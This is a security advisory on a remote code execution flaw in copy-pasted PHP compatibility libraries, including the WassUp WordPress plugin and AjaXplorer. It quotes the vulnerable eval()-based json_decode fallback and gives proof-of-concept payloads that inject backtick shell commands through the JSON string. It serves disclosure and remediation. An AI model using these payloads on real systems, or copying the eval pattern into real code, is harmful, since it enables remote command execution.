PHP Library Remote Code Execution

JAHx221 - RCE in copy/pasted PHP compat libraries, json_decode function===============================================================================Several PHP compatability libraries contain a potential remote codeexecutionflaw in their `json_decode()` function based on having copy pasted existingvulnerable code.Identifiers--------------------------------------- * JAHx221 - http://www.justanotherhacker.com/advisories/JAHx221.txtAffected components--------------------------------------- * WassUp Realtime analytics wordpress plugin/compat library -https://wordpress.org/plugins/wassup/ * AjaXplorer Core -https://pydio.com/en/community/releases/pydio-core/ajaxplorer-core-503-released * FlexoCMS - https://github.com/flexocms/flexo1.source * Various code -https://github.com/search?p=6&q=if+function_exists+json_decode+eval+%24out&type=Code * compat_functions.php - http://techfromhel.comDescription---------------------------------------This appears to date back to a compatability library published in 2010 andappears in several code bases, with no, or a few variations.The vulnerable code generally share the following characteristic: * The json_decode function is declared if it does not exist * some str_replace occurs to transform the json representation to PHP * eval($out)Since `eval()` is turing complete, it is generally considered unsafe to useiton user controlled or user influenced data, however it is unclear ifpracticalexploitation would be possible due to the likely presence of an existing json_decode function.```php/** * compat_functions.php * Description: Emulate some functions from PHP 5.2+ and Wordpress 2.6+ for *   backwards compatibility with PHP 4.3+ and Wordpress 2.2+, respectively * @author: Helene D. <http://techfromhel.com> * @version: 0.3 - 2010-09-13 * @since Wassup 1.8 *//** * Convert simple JSON data into a PHP object (default) or associative *   array. Emulates 'json_decode' function from PHP 5.2+ * @author: Helene Duncker <http://techfromhel.com> * @param string,boolean * @return (array or object) */if (!function_exists('json_decode')) {function json_decode($json,$to_array=false) {$x=false;if (!empty($json) && strpos($json,'{"')!==false) {$out ='$x='.str_replace(array('{','":','}'),array('array(','"=>',')'),$json);eval($out.';');if (!$to_array) $x = (object) $x;}return $x;} //end function json_decode}```Proof of Concept---------------------------------------The eval can be exploited a number of ways, both via full or partialcontrol of the json string:```php/* Payload`id`;//{"*/json_decode('`id`;//{"');```or partially controlled content:```php/* Payload{"key":"value");echo `id`;//"}*/json_decode('{"key":"value");echo `id`;//"}');```Credit---------------------------------------Eldar "Wireghoul" MarcussenSolution---------------------------------------Ensure json_decode is present as a native function for your PHPinstallation.